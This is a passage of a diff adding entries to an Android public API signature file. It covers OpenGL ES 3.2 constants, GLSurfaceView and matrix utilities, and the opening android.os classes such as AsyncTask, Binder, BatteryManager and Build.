+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x5 = 37845; // 0x93d5
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x6 = 37846; // 0x93d6
+    field public static final int GL_COMPRESSED_SRGB8_ALPHA8_ASTC_8x8 = 37847; // 0x93d7
+    field public static final int GL_CONTEXT_FLAGS = 33310; // 0x821e
+    field public static final int GL_CONTEXT_FLAG_DEBUG_BIT = 2; // 0x2
+    field public static final int GL_CONTEXT_FLAG_ROBUST_ACCESS_BIT = 4; // 0x4
+    field public static final int GL_CONTEXT_LOST = 1287; // 0x507
+    field public static final int GL_DARKEN = 37527; // 0x9297
+    field public static final int GL_DEBUG_CALLBACK_FUNCTION = 33348; // 0x8244
+    field public static final int GL_DEBUG_CALLBACK_USER_PARAM = 33349; // 0x8245
+    field public static final int GL_DEBUG_GROUP_STACK_DEPTH = 33389; // 0x826d
+    field public static final int GL_DEBUG_LOGGED_MESSAGES = 37189; // 0x9145
+    field public static final int GL_DEBUG_NEXT_LOGGED_MESSAGE_LENGTH = 33347; // 0x8243
+    field public static final int GL_DEBUG_OUTPUT = 37600; // 0x92e0
+    field public static final int GL_DEBUG_OUTPUT_SYNCHRONOUS = 33346; // 0x8242
+    field public static final int GL_DEBUG_SEVERITY_HIGH = 37190; // 0x9146
+    field public static final int GL_DEBUG_SEVERITY_LOW = 37192; // 0x9148
+    field public static final int GL_DEBUG_SEVERITY_MEDIUM = 37191; // 0x9147
+    field public static final int GL_DEBUG_SEVERITY_NOTIFICATION = 33387; // 0x826b
+    field public static final int GL_DEBUG_SOURCE_API = 33350; // 0x8246
+    field public static final int GL_DEBUG_SOURCE_APPLICATION = 33354; // 0x824a
+    field public static final int GL_DEBUG_SOURCE_OTHER = 33355; // 0x824b
+    field public static final int GL_DEBUG_SOURCE_SHADER_COMPILER = 33352; // 0x8248
+    field public static final int GL_DEBUG_SOURCE_THIRD_PARTY = 33353; // 0x8249
+    field public static final int GL_DEBUG_SOURCE_WINDOW_SYSTEM = 33351; // 0x8247
+    field public static final int GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR = 33357; // 0x824d
+    field public static final int GL_DEBUG_TYPE_ERROR = 33356; // 0x824c
+    field public static final int GL_DEBUG_TYPE_MARKER = 33384; // 0x8268
+    field public static final int GL_DEBUG_TYPE_OTHER = 33361; // 0x8251
+    field public static final int GL_DEBUG_TYPE_PERFORMANCE = 33360; // 0x8250
+    field public static final int GL_DEBUG_TYPE_POP_GROUP = 33386; // 0x826a
+    field public static final int GL_DEBUG_TYPE_PORTABILITY = 33359; // 0x824f
+    field public static final int GL_DEBUG_TYPE_PUSH_GROUP = 33385; // 0x8269
+    field public static final int GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR = 33358; // 0x824e
+    field public static final int GL_DIFFERENCE = 37534; // 0x929e
+    field public static final int GL_EXCLUSION = 37536; // 0x92a0
+    field public static final int GL_FIRST_VERTEX_CONVENTION = 36429; // 0x8e4d
+    field public static final int GL_FRACTIONAL_EVEN = 36476; // 0x8e7c
+    field public static final int GL_FRACTIONAL_ODD = 36475; // 0x8e7b
+    field public static final int GL_FRAGMENT_INTERPOLATION_OFFSET_BITS = 36445; // 0x8e5d
+    field public static final int GL_FRAMEBUFFER_ATTACHMENT_LAYERED = 36263; // 0x8da7
+    field public static final int GL_FRAMEBUFFER_DEFAULT_LAYERS = 37650; // 0x9312
+    field public static final int GL_FRAMEBUFFER_INCOMPLETE_LAYER_TARGETS = 36264; // 0x8da8
+    field public static final int GL_GEOMETRY_INPUT_TYPE = 35095; // 0x8917
+    field public static final int GL_GEOMETRY_OUTPUT_TYPE = 35096; // 0x8918
+    field public static final int GL_GEOMETRY_SHADER = 36313; // 0x8dd9
+    field public static final int GL_GEOMETRY_SHADER_BIT = 4; // 0x4
+    field public static final int GL_GEOMETRY_SHADER_INVOCATIONS = 34943; // 0x887f
+    field public static final int GL_GEOMETRY_VERTICES_OUT = 35094; // 0x8916
+    field public static final int GL_GUILTY_CONTEXT_RESET = 33363; // 0x8253
+    field public static final int GL_HARDLIGHT = 37531; // 0x929b
+    field public static final int GL_HSL_COLOR = 37551; // 0x92af
+    field public static final int GL_HSL_HUE = 37549; // 0x92ad
+    field public static final int GL_HSL_LUMINOSITY = 37552; // 0x92b0
+    field public static final int GL_HSL_SATURATION = 37550; // 0x92ae
+    field public static final int GL_IMAGE_BUFFER = 36945; // 0x9051
+    field public static final int GL_IMAGE_CUBE_MAP_ARRAY = 36948; // 0x9054
+    field public static final int GL_INNOCENT_CONTEXT_RESET = 33364; // 0x8254
+    field public static final int GL_INT_IMAGE_BUFFER = 36956; // 0x905c
+    field public static final int GL_INT_IMAGE_CUBE_MAP_ARRAY = 36959; // 0x905f
+    field public static final int GL_INT_SAMPLER_2D_MULTISAMPLE_ARRAY = 37132; // 0x910c
+    field public static final int GL_INT_SAMPLER_BUFFER = 36304; // 0x8dd0
+    field public static final int GL_INT_SAMPLER_CUBE_MAP_ARRAY = 36878; // 0x900e
+    field public static final int GL_ISOLINES = 36474; // 0x8e7a
+    field public static final int GL_IS_PER_PATCH = 37607; // 0x92e7
+    field public static final int GL_LAST_VERTEX_CONVENTION = 36430; // 0x8e4e
+    field public static final int GL_LAYER_PROVOKING_VERTEX = 33374; // 0x825e
+    field public static final int GL_LIGHTEN = 37528; // 0x9298
+    field public static final int GL_LINES_ADJACENCY = 10; // 0xa
+    field public static final int GL_LINE_STRIP_ADJACENCY = 11; // 0xb
+    field public static final int GL_LOSE_CONTEXT_ON_RESET = 33362; // 0x8252
+    field public static final int GL_MAX_COMBINED_GEOMETRY_UNIFORM_COMPONENTS = 35378; // 0x8a32
+    field public static final int GL_MAX_COMBINED_TESS_CONTROL_UNIFORM_COMPONENTS = 36382; // 0x8e1e
+    field public static final int GL_MAX_COMBINED_TESS_EVALUATION_UNIFORM_COMPONENTS = 36383; // 0x8e1f
+    field public static final int GL_MAX_DEBUG_GROUP_STACK_DEPTH = 33388; // 0x826c
+    field public static final int GL_MAX_DEBUG_LOGGED_MESSAGES = 37188; // 0x9144
+    field public static final int GL_MAX_DEBUG_MESSAGE_LENGTH = 37187; // 0x9143
+    field public static final int GL_MAX_FRAGMENT_INTERPOLATION_OFFSET = 36444; // 0x8e5c
+    field public static final int GL_MAX_FRAMEBUFFER_LAYERS = 37655; // 0x9317
+    field public static final int GL_MAX_GEOMETRY_ATOMIC_COUNTERS = 37589; // 0x92d5
+    field public static final int GL_MAX_GEOMETRY_ATOMIC_COUNTER_BUFFERS = 37583; // 0x92cf
+    field public static final int GL_MAX_GEOMETRY_IMAGE_UNIFORMS = 37069; // 0x90cd
+    field public static final int GL_MAX_GEOMETRY_INPUT_COMPONENTS = 37155; // 0x9123
+    field public static final int GL_MAX_GEOMETRY_OUTPUT_COMPONENTS = 37156; // 0x9124
+    field public static final int GL_MAX_GEOMETRY_OUTPUT_VERTICES = 36320; // 0x8de0
+    field public static final int GL_MAX_GEOMETRY_SHADER_INVOCATIONS = 36442; // 0x8e5a
+    field public static final int GL_MAX_GEOMETRY_SHADER_STORAGE_BLOCKS = 37079; // 0x90d7
+    field public static final int GL_MAX_GEOMETRY_TEXTURE_IMAGE_UNITS = 35881; // 0x8c29
+    field public static final int GL_MAX_GEOMETRY_TOTAL_OUTPUT_COMPONENTS = 36321; // 0x8de1
+    field public static final int GL_MAX_GEOMETRY_UNIFORM_BLOCKS = 35372; // 0x8a2c
+    field public static final int GL_MAX_GEOMETRY_UNIFORM_COMPONENTS = 36319; // 0x8ddf
+    field public static final int GL_MAX_LABEL_LENGTH = 33512; // 0x82e8
+    field public static final int GL_MAX_PATCH_VERTICES = 36477; // 0x8e7d
+    field public static final int GL_MAX_TESS_CONTROL_ATOMIC_COUNTERS = 37587; // 0x92d3
+    field public static final int GL_MAX_TESS_CONTROL_ATOMIC_COUNTER_BUFFERS = 37581; // 0x92cd
+    field public static final int GL_MAX_TESS_CONTROL_IMAGE_UNIFORMS = 37067; // 0x90cb
+    field public static final int GL_MAX_TESS_CONTROL_INPUT_COMPONENTS = 34924; // 0x886c
+    field public static final int GL_MAX_TESS_CONTROL_OUTPUT_COMPONENTS = 36483; // 0x8e83
+    field public static final int GL_MAX_TESS_CONTROL_SHADER_STORAGE_BLOCKS = 37080; // 0x90d8
+    field public static final int GL_MAX_TESS_CONTROL_TEXTURE_IMAGE_UNITS = 36481; // 0x8e81
+    field public static final int GL_MAX_TESS_CONTROL_TOTAL_OUTPUT_COMPONENTS = 36485; // 0x8e85
+    field public static final int GL_MAX_TESS_CONTROL_UNIFORM_BLOCKS = 36489; // 0x8e89
+    field public static final int GL_MAX_TESS_CONTROL_UNIFORM_COMPONENTS = 36479; // 0x8e7f
+    field public static final int GL_MAX_TESS_EVALUATION_ATOMIC_COUNTERS = 37588; // 0x92d4
+    field public static final int GL_MAX_TESS_EVALUATION_ATOMIC_COUNTER_BUFFERS = 37582; // 0x92ce
+    field public static final int GL_MAX_TESS_EVALUATION_IMAGE_UNIFORMS = 37068; // 0x90cc
+    field public static final int GL_MAX_TESS_EVALUATION_INPUT_COMPONENTS = 34925; // 0x886d
+    field public static final int GL_MAX_TESS_EVALUATION_OUTPUT_COMPONENTS = 36486; // 0x8e86
+    field public static final int GL_MAX_TESS_EVALUATION_SHADER_STORAGE_BLOCKS = 37081; // 0x90d9
+    field public static final int GL_MAX_TESS_EVALUATION_TEXTURE_IMAGE_UNITS = 36482; // 0x8e82
+    field public static final int GL_MAX_TESS_EVALUATION_UNIFORM_BLOCKS = 36490; // 0x8e8a
+    field public static final int GL_MAX_TESS_EVALUATION_UNIFORM_COMPONENTS = 36480; // 0x8e80
+    field public static final int GL_MAX_TESS_GEN_LEVEL = 36478; // 0x8e7e
+    field public static final int GL_MAX_TESS_PATCH_COMPONENTS = 36484; // 0x8e84
+    field public static final int GL_MAX_TEXTURE_BUFFER_SIZE = 35883; // 0x8c2b
+    field public static final int GL_MIN_FRAGMENT_INTERPOLATION_OFFSET = 36443; // 0x8e5b
+    field public static final int GL_MIN_SAMPLE_SHADING_VALUE = 35895; // 0x8c37
+    field public static final int GL_MULTIPLY = 37524; // 0x9294
+    field public static final int GL_MULTISAMPLE_LINE_WIDTH_GRANULARITY = 37762; // 0x9382
+    field public static final int GL_MULTISAMPLE_LINE_WIDTH_RANGE = 37761; // 0x9381
+    field public static final int GL_NO_RESET_NOTIFICATION = 33377; // 0x8261
+    field public static final int GL_OVERLAY = 37526; // 0x9296
+    field public static final int GL_PATCHES = 14; // 0xe
+    field public static final int GL_PATCH_VERTICES = 36466; // 0x8e72
+    field public static final int GL_PRIMITIVES_GENERATED = 35975; // 0x8c87
+    field public static final int GL_PRIMITIVE_BOUNDING_BOX = 37566; // 0x92be
+    field public static final int GL_PRIMITIVE_RESTART_FOR_PATCHES_SUPPORTED = 33313; // 0x8221
+    field public static final int GL_PROGRAM = 33506; // 0x82e2
+    field public static final int GL_PROGRAM_PIPELINE = 33508; // 0x82e4
+    field public static final int GL_QUADS = 7; // 0x7
+    field public static final int GL_QUERY = 33507; // 0x82e3
+    field public static final int GL_REFERENCED_BY_GEOMETRY_SHADER = 37641; // 0x9309
+    field public static final int GL_REFERENCED_BY_TESS_CONTROL_SHADER = 37639; // 0x9307
+    field public static final int GL_REFERENCED_BY_TESS_EVALUATION_SHADER = 37640; // 0x9308
+    field public static final int GL_RESET_NOTIFICATION_STRATEGY = 33366; // 0x8256
+    field public static final int GL_SAMPLER = 33510; // 0x82e6
+    field public static final int GL_SAMPLER_2D_MULTISAMPLE_ARRAY = 37131; // 0x910b
+    field public static final int GL_SAMPLER_BUFFER = 36290; // 0x8dc2
+    field public static final int GL_SAMPLER_CUBE_MAP_ARRAY = 36876; // 0x900c
+    field public static final int GL_SAMPLER_CUBE_MAP_ARRAY_SHADOW = 36877; // 0x900d
+    field public static final int GL_SAMPLE_SHADING = 35894; // 0x8c36
+    field public static final int GL_SCREEN = 37525; // 0x9295
+    field public static final int GL_SHADER = 33505; // 0x82e1
+    field public static final int GL_SOFTLIGHT = 37532; // 0x929c
+    field public static final int GL_STACK_OVERFLOW = 1283; // 0x503
+    field public static final int GL_STACK_UNDERFLOW = 1284; // 0x504
+    field public static final int GL_TESS_CONTROL_OUTPUT_VERTICES = 36469; // 0x8e75
+    field public static final int GL_TESS_CONTROL_SHADER = 36488; // 0x8e88
+    field public static final int GL_TESS_CONTROL_SHADER_BIT = 8; // 0x8
+    field public static final int GL_TESS_EVALUATION_SHADER = 36487; // 0x8e87
+    field public static final int GL_TESS_EVALUATION_SHADER_BIT = 16; // 0x10
+    field public static final int GL_TESS_GEN_MODE = 36470; // 0x8e76
+    field public static final int GL_TESS_GEN_POINT_MODE = 36473; // 0x8e79
+    field public static final int GL_TESS_GEN_SPACING = 36471; // 0x8e77
+    field public static final int GL_TESS_GEN_VERTEX_ORDER = 36472; // 0x8e78
+    field public static final int GL_TEXTURE_2D_MULTISAMPLE_ARRAY = 37122; // 0x9102
+    field public static final int GL_TEXTURE_BINDING_2D_MULTISAMPLE_ARRAY = 37125; // 0x9105
+    field public static final int GL_TEXTURE_BINDING_BUFFER = 35884; // 0x8c2c
+    field public static final int GL_TEXTURE_BINDING_CUBE_MAP_ARRAY = 36874; // 0x900a
+    field public static final int GL_TEXTURE_BORDER_COLOR = 4100; // 0x1004
+    field public static final int GL_TEXTURE_BUFFER = 35882; // 0x8c2a
+    field public static final int GL_TEXTURE_BUFFER_BINDING = 35882; // 0x8c2a
+    field public static final int GL_TEXTURE_BUFFER_DATA_STORE_BINDING = 35885; // 0x8c2d
+    field public static final int GL_TEXTURE_BUFFER_OFFSET = 37277; // 0x919d
+    field public static final int GL_TEXTURE_BUFFER_OFFSET_ALIGNMENT = 37279; // 0x919f
+    field public static final int GL_TEXTURE_BUFFER_SIZE = 37278; // 0x919e
+    field public static final int GL_TEXTURE_CUBE_MAP_ARRAY = 36873; // 0x9009
+    field public static final int GL_TRIANGLES_ADJACENCY = 12; // 0xc
+    field public static final int GL_TRIANGLE_STRIP_ADJACENCY = 13; // 0xd
+    field public static final int GL_UNDEFINED_VERTEX = 33376; // 0x8260
+    field public static final int GL_UNKNOWN_CONTEXT_RESET = 33365; // 0x8255
+    field public static final int GL_UNSIGNED_INT_IMAGE_BUFFER = 36967; // 0x9067
+    field public static final int GL_UNSIGNED_INT_IMAGE_CUBE_MAP_ARRAY = 36970; // 0x906a
+    field public static final int GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE_ARRAY = 37133; // 0x910d
+    field public static final int GL_UNSIGNED_INT_SAMPLER_BUFFER = 36312; // 0x8dd8
+    field public static final int GL_UNSIGNED_INT_SAMPLER_CUBE_MAP_ARRAY = 36879; // 0x900f
+    field public static final int GL_VERTEX_ARRAY = 32884; // 0x8074
+  }
+
+  public static interface GLES32.DebugProc {
+    method public void onMessage(int, int, int, int, String);
+  }
+
+  public class GLException extends java.lang.RuntimeException {
+    ctor public GLException(int);
+    ctor public GLException(int, String);
+  }
+
+  public class GLSurfaceView extends android.view.SurfaceView implements android.view.SurfaceHolder.Callback2 {
+    ctor public GLSurfaceView(android.content.Context);
+    ctor public GLSurfaceView(android.content.Context, android.util.AttributeSet);
+    method public int getDebugFlags();
+    method public boolean getPreserveEGLContextOnPause();
+    method public int getRenderMode();
+    method public void onPause();
+    method public void onResume();
+    method public void queueEvent(Runnable);
+    method public void requestRender();
+    method public void setDebugFlags(int);
+    method public void setEGLConfigChooser(android.opengl.GLSurfaceView.EGLConfigChooser);
+    method public void setEGLConfigChooser(boolean);
+    method public void setEGLConfigChooser(int, int, int, int, int, int);
+    method public void setEGLContextClientVersion(int);
+    method public void setEGLContextFactory(android.opengl.GLSurfaceView.EGLContextFactory);
+    method public void setEGLWindowSurfaceFactory(android.opengl.GLSurfaceView.EGLWindowSurfaceFactory);
+    method public void setGLWrapper(android.opengl.GLSurfaceView.GLWrapper);
+    method public void setPreserveEGLContextOnPause(boolean);
+    method public void setRenderMode(int);
+    method public void setRenderer(android.opengl.GLSurfaceView.Renderer);
+    method public void surfaceChanged(android.view.SurfaceHolder, int, int, int);
+    method public void surfaceCreated(android.view.SurfaceHolder);
+    method public void surfaceDestroyed(android.view.SurfaceHolder);
+    method @Deprecated public void surfaceRedrawNeeded(android.view.SurfaceHolder);
+    field public static final int DEBUG_CHECK_GL_ERROR = 1; // 0x1
+    field public static final int DEBUG_LOG_GL_CALLS = 2; // 0x2
+    field public static final int RENDERMODE_CONTINUOUSLY = 1; // 0x1
+    field public static final int RENDERMODE_WHEN_DIRTY = 0; // 0x0
+  }
+
+  public static interface GLSurfaceView.EGLConfigChooser {
+    method public javax.microedition.khronos.egl.EGLConfig chooseConfig(javax.microedition.khronos.egl.EGL10, javax.microedition.khronos.egl.EGLDisplay);
+  }
+
+  public static interface GLSurfaceView.EGLContextFactory {
+    method public javax.microedition.khronos.egl.EGLContext createContext(javax.microedition.khronos.egl.EGL10, javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLConfig);
+    method public void destroyContext(javax.microedition.khronos.egl.EGL10, javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLContext);
+  }
+
+  public static interface GLSurfaceView.EGLWindowSurfaceFactory {
+    method public javax.microedition.khronos.egl.EGLSurface createWindowSurface(javax.microedition.khronos.egl.EGL10, javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLConfig, Object);
+    method public void destroySurface(javax.microedition.khronos.egl.EGL10, javax.microedition.khronos.egl.EGLDisplay, javax.microedition.khronos.egl.EGLSurface);
+  }
+
+  public static interface GLSurfaceView.GLWrapper {
+    method public javax.microedition.khronos.opengles.GL wrap(javax.microedition.khronos.opengles.GL);
+  }
+
+  public static interface GLSurfaceView.Renderer {
+    method public void onDrawFrame(javax.microedition.khronos.opengles.GL10);
+    method public void onSurfaceChanged(javax.microedition.khronos.opengles.GL10, int, int);
+    method public void onSurfaceCreated(javax.microedition.khronos.opengles.GL10, javax.microedition.khronos.egl.EGLConfig);
+  }
+
+  public class GLU {
+    ctor public GLU();
+    method public static String gluErrorString(int);
+    method public static void gluLookAt(javax.microedition.khronos.opengles.GL10, float, float, float, float, float, float, float, float, float);
+    method public static void gluOrtho2D(javax.microedition.khronos.opengles.GL10, float, float, float, float);
+    method public static void gluPerspective(javax.microedition.khronos.opengles.GL10, float, float, float, float);
+    method public static int gluProject(float, float, float, float[], int, float[], int, int[], int, float[], int);
+    method public static int gluUnProject(float, float, float, float[], int, float[], int, int[], int, float[], int);
+  }
+
+  public final class GLUtils {
+    method public static String getEGLErrorString(int);
+    method public static int getInternalFormat(android.graphics.Bitmap);
+    method public static int getType(android.graphics.Bitmap);
+    method public static void texImage2D(int, int, int, android.graphics.Bitmap, int);
+    method public static void texImage2D(int, int, int, android.graphics.Bitmap, int, int);
+    method public static void texImage2D(int, int, android.graphics.Bitmap, int);
+    method public static void texSubImage2D(int, int, int, int, android.graphics.Bitmap);
+    method public static void texSubImage2D(int, int, int, int, android.graphics.Bitmap, int, int);
+  }
+
+  public class Matrix {
+    ctor @Deprecated public Matrix();
+    method public static void frustumM(float[], int, float, float, float, float, float, float);
+    method public static boolean invertM(float[], int, float[], int);
+    method public static float length(float, float, float);
+    method public static void multiplyMM(float[], int, float[], int, float[], int);
+    method public static void multiplyMV(float[], int, float[], int, float[], int);
+    method public static void orthoM(float[], int, float, float, float, float, float, float);
+    method public static void perspectiveM(float[], int, float, float, float, float);
+    method public static void rotateM(float[], int, float[], int, float, float, float, float);
+    method public static void rotateM(float[], int, float, float, float, float);
+    method public static void scaleM(float[], int, float[], int, float, float, float);
+    method public static void scaleM(float[], int, float, float, float);
+    method public static void setIdentityM(float[], int);
+    method public static void setLookAtM(float[], int, float, float, float, float, float, float, float, float, float);
+    method public static void setRotateEulerM(float[], int, float, float, float);
+    method public static void setRotateM(float[], int, float, float, float, float);
+    method public static void translateM(float[], int, float[], int, float, float, float);
+    method public static void translateM(float[], int, float, float, float);
+    method public static void transposeM(float[], int, float[], int);
+  }
+
+  public class Visibility {
+    ctor public Visibility();
+    method public static void computeBoundingSphere(float[], int, int, float[], int);
+    method public static int frustumCullSpheres(float[], int, float[], int, int, int[], int, int);
+    method public static int visibilityTest(float[], int, float[], int, char[], int, int);
+  }
+
+}
+
+package android.os {
+
+  @Deprecated public abstract class AsyncTask<Params, Progress, Result> {
+    ctor @Deprecated public AsyncTask();
+    method @Deprecated public final boolean cancel(boolean);
+    method @Deprecated @WorkerThread protected abstract Result doInBackground(Params...);
+    method @Deprecated @MainThread public final android.os.AsyncTask<Params,Progress,Result> execute(Params...);
+    method @Deprecated @MainThread public static void execute(Runnable);
+    method @Deprecated @MainThread public final android.os.AsyncTask<Params,Progress,Result> executeOnExecutor(java.util.concurrent.Executor, Params...);
+    method @Deprecated public final Result get() throws java.util.concurrent.ExecutionException, java.lang.InterruptedException;
+    method @Deprecated public final Result get(long, java.util.concurrent.TimeUnit) throws java.util.concurrent.ExecutionException, java.lang.InterruptedException, java.util.concurrent.TimeoutException;
+    method @Deprecated public final android.os.AsyncTask.Status getStatus();
+    method @Deprecated public final boolean isCancelled();
+    method @Deprecated @MainThread protected void onCancelled(Result);
+    method @Deprecated @MainThread protected void onCancelled();
+    method @Deprecated @MainThread protected void onPostExecute(Result);
+    method @Deprecated @MainThread protected void onPreExecute();
+    method @Deprecated @MainThread protected void onProgressUpdate(Progress...);
+    method @Deprecated @WorkerThread protected final void publishProgress(Progress...);
+    field @Deprecated public static final java.util.concurrent.Executor SERIAL_EXECUTOR;
+    field @Deprecated public static final java.util.concurrent.Executor THREAD_POOL_EXECUTOR;
+  }
+
+  @Deprecated public enum AsyncTask.Status {
+    enum_constant @Deprecated public static final android.os.AsyncTask.Status FINISHED;
+    enum_constant @Deprecated public static final android.os.AsyncTask.Status PENDING;
+    enum_constant @Deprecated public static final android.os.AsyncTask.Status RUNNING;
+  }
+
+  public class BadParcelableException extends android.util.AndroidRuntimeException {
+    ctor public BadParcelableException(String);
+    ctor public BadParcelableException(Exception);
+  }
+
+  public class BaseBundle {
+    method public void clear();
+    method public boolean containsKey(String);
+    method @Nullable public Object get(String);
+    method public boolean getBoolean(String);
+    method public boolean getBoolean(String, boolean);
+    method @Nullable public boolean[] getBooleanArray(@Nullable String);
+    method public double getDouble(String);
+    method public double getDouble(String, double);
+    method @Nullable public double[] getDoubleArray(@Nullable String);
+    method public int getInt(String);
+    method public int getInt(String, int);
+    method @Nullable public int[] getIntArray(@Nullable String);
+    method public long getLong(String);
+    method public long getLong(String, long);
+    method @Nullable public long[] getLongArray(@Nullable String);
+    method @Nullable public String getString(@Nullable String);
+    method public String getString(@Nullable String, String);
+    method @Nullable public String[] getStringArray(@Nullable String);
+    method public boolean isEmpty();
+    method public java.util.Set<java.lang.String> keySet();
+    method public void putAll(android.os.PersistableBundle);
+    method public void putBoolean(@Nullable String, boolean);
+    method public void putBooleanArray(@Nullable String, @Nullable boolean[]);
+    method public void putDouble(@Nullable String, double);
+    method public void putDoubleArray(@Nullable String, @Nullable double[]);
+    method public void putInt(@Nullable String, int);
+    method public void putIntArray(@Nullable String, @Nullable int[]);
+    method public void putLong(@Nullable String, long);
+    method public void putLongArray(@Nullable String, @Nullable long[]);
+    method public void putString(@Nullable String, @Nullable String);
+    method public void putStringArray(@Nullable String, @Nullable String[]);
+    method public void remove(String);
+    method public int size();
+  }
+
+  public class BatteryManager {
+    method public long computeChargeTimeRemaining();
+    method public int getIntProperty(int);
+    method public long getLongProperty(int);
+    method public boolean isCharging();
+    field public static final String ACTION_CHARGING = "android.os.action.CHARGING";
+    field public static final String ACTION_DISCHARGING = "android.os.action.DISCHARGING";
+    field public static final int BATTERY_HEALTH_COLD = 7; // 0x7
+    field public static final int BATTERY_HEALTH_DEAD = 4; // 0x4
+    field public static final int BATTERY_HEALTH_GOOD = 2; // 0x2
+    field public static final int BATTERY_HEALTH_OVERHEAT = 3; // 0x3
+    field public static final int BATTERY_HEALTH_OVER_VOLTAGE = 5; // 0x5
+    field public static final int BATTERY_HEALTH_UNKNOWN = 1; // 0x1
+    field public static final int BATTERY_HEALTH_UNSPECIFIED_FAILURE = 6; // 0x6
+    field public static final int BATTERY_PLUGGED_AC = 1; // 0x1
+    field public static final int BATTERY_PLUGGED_USB = 2; // 0x2
+    field public static final int BATTERY_PLUGGED_WIRELESS = 4; // 0x4
+    field public static final int BATTERY_PROPERTY_CAPACITY = 4; // 0x4
+    field public static final int BATTERY_PROPERTY_CHARGE_COUNTER = 1; // 0x1
+    field public static final int BATTERY_PROPERTY_CURRENT_AVERAGE = 3; // 0x3
+    field public static final int BATTERY_PROPERTY_CURRENT_NOW = 2; // 0x2
+    field public static final int BATTERY_PROPERTY_ENERGY_COUNTER = 5; // 0x5
+    field public static final int BATTERY_PROPERTY_STATUS = 6; // 0x6
+    field public static final int BATTERY_STATUS_CHARGING = 2; // 0x2
+    field public static final int BATTERY_STATUS_DISCHARGING = 3; // 0x3
+    field public static final int BATTERY_STATUS_FULL = 5; // 0x5
+    field public static final int BATTERY_STATUS_NOT_CHARGING = 4; // 0x4
+    field public static final int BATTERY_STATUS_UNKNOWN = 1; // 0x1
+    field public static final String EXTRA_BATTERY_LOW = "battery_low";
+    field public static final String EXTRA_HEALTH = "health";
+    field public static final String EXTRA_ICON_SMALL = "icon-small";
+    field public static final String EXTRA_LEVEL = "level";
+    field public static final String EXTRA_PLUGGED = "plugged";
+    field public static final String EXTRA_PRESENT = "present";
+    field public static final String EXTRA_SCALE = "scale";
+    field public static final String EXTRA_STATUS = "status";
+    field public static final String EXTRA_TECHNOLOGY = "technology";
+    field public static final String EXTRA_TEMPERATURE = "temperature";
+    field public static final String EXTRA_VOLTAGE = "voltage";
+  }
+
+  public class Binder implements android.os.IBinder {
+    ctor public Binder();
+    ctor public Binder(@Nullable String);
+    method public void attachInterface(@Nullable android.os.IInterface, @Nullable String);
+    method public static final long clearCallingIdentity();
+    method public static final long clearCallingWorkSource();
+    method public void dump(@NonNull java.io.FileDescriptor, @Nullable String[]);
+    method protected void dump(@NonNull java.io.FileDescriptor, @NonNull java.io.PrintWriter, @Nullable String[]);
+    method public void dumpAsync(@NonNull java.io.FileDescriptor, @Nullable String[]);
+    method public static final void flushPendingCommands();
+    method public static final int getCallingPid();
+    method public static final int getCallingUid();
+    method public static final int getCallingUidOrThrow();
+    method @NonNull public static final android.os.UserHandle getCallingUserHandle();
+    method public static final int getCallingWorkSourceUid();
+    method @Nullable public String getInterfaceDescriptor();
+    method public boolean isBinderAlive();
+    method public static final void joinThreadPool();
+    method public void linkToDeath(@NonNull android.os.IBinder.DeathRecipient, int);
+    method protected boolean onTransact(int, @NonNull android.os.Parcel, @Nullable android.os.Parcel, int) throws android.os.RemoteException;
+    method public boolean pingBinder();
+    method @Nullable public android.os.IInterface queryLocalInterface(@NonNull String);
+    method public static final void restoreCallingIdentity(long);
+    method public static final void restoreCallingWorkSource(long);
+    method public static final long setCallingWorkSourceUid(int);
+    method public final boolean transact(int, @NonNull android.os.Parcel, @Nullable android.os.Parcel, int) throws android.os.RemoteException;
+    method public boolean unlinkToDeath(@NonNull android.os.IBinder.DeathRecipient, int);
+  }
+
+  public final class BugreportManager {
+    method @WorkerThread public void cancelBugreport();
+    method @WorkerThread public void startConnectivityBugreport(@NonNull android.os.ParcelFileDescriptor, @NonNull java.util.concurrent.Executor, @NonNull android.os.BugreportManager.BugreportCallback);
+  }
+
+  public abstract static class BugreportManager.BugreportCallback {
+    ctor public BugreportManager.BugreportCallback();
+    method public void onEarlyReportFinished();
+    method public void onError(int);
+    method public void onFinished();
+    method public void onProgress(@FloatRange(from=0.0f, to=100.0f) float);
+    field public static final int BUGREPORT_ERROR_ANOTHER_REPORT_IN_PROGRESS = 5; // 0x5
+    field public static final int BUGREPORT_ERROR_INVALID_INPUT = 1; // 0x1
+    field public static final int BUGREPORT_ERROR_RUNTIME = 2; // 0x2
+    field public static final int BUGREPORT_ERROR_USER_CONSENT_TIMED_OUT = 4; // 0x4
+    field public static final int BUGREPORT_ERROR_USER_DENIED_CONSENT = 3; // 0x3
+  }
+
+  public class Build {
+    ctor public Build();
+    method @NonNull public static java.util.List<android.os.Build.Partition> getFingerprintedPartitions();
+    method public static String getRadioVersion();
+    method @RequiresPermission("android.permission.READ_PRIVILEGED_PHONE_STATE") public static String getSerial();
+    field public static final String BOARD;
+    field public static final String BOOTLOADER;
+    field public static final String BRAND;
+    field @Deprecated public static final String CPU_ABI;
+    field @Deprecated public static final String CPU_ABI2;
+    field public static final String DEVICE;
+    field public static final String DISPLAY;
+    field public static final String FINGERPRINT;
+    field public static final String HARDWARE;
+    field public static final String HOST;
+    field public static final String ID;
+    field public static final String MANUFACTURER;
+    field public static final String MODEL;
+    field @NonNull public static final String ODM_SKU;
+    field public static final String PRODUCT;
+    field @Deprecated public static final String RADIO;
+    field @Deprecated public static final String SERIAL;
+    field @NonNull public static final String SKU;
+    field @NonNull public static final String SOC_MANUFACTURER;
+    field @NonNull public static final String SOC_MODEL;
+    field public static final String[] SUPPORTED_32_BIT_ABIS;
+    field public static final String[] SUPPORTED_64_BIT_ABIS;
+    field public static final String[] SUPPORTED_ABIS;
+    field public static final String TAGS;
+    field public static final long TIME;
+    field public static final String TYPE;
+    field public static final String UNKNOWN = "unknown";
+    field public static final String USER;
+  }
+
+  public static class Build.Partition {
+    method public long getBuildTimeMillis();
+    method @NonNull public String getFingerprint();
+    method @NonNull public String getName();
+    field public static final String PARTITION_NAME_SYSTEM = "system";
+  }
+
+  public static class Build.VERSION {
+    ctor public Build.VERSION();
+    field public static final String BASE_OS;
+    field public static final String CODENAME;
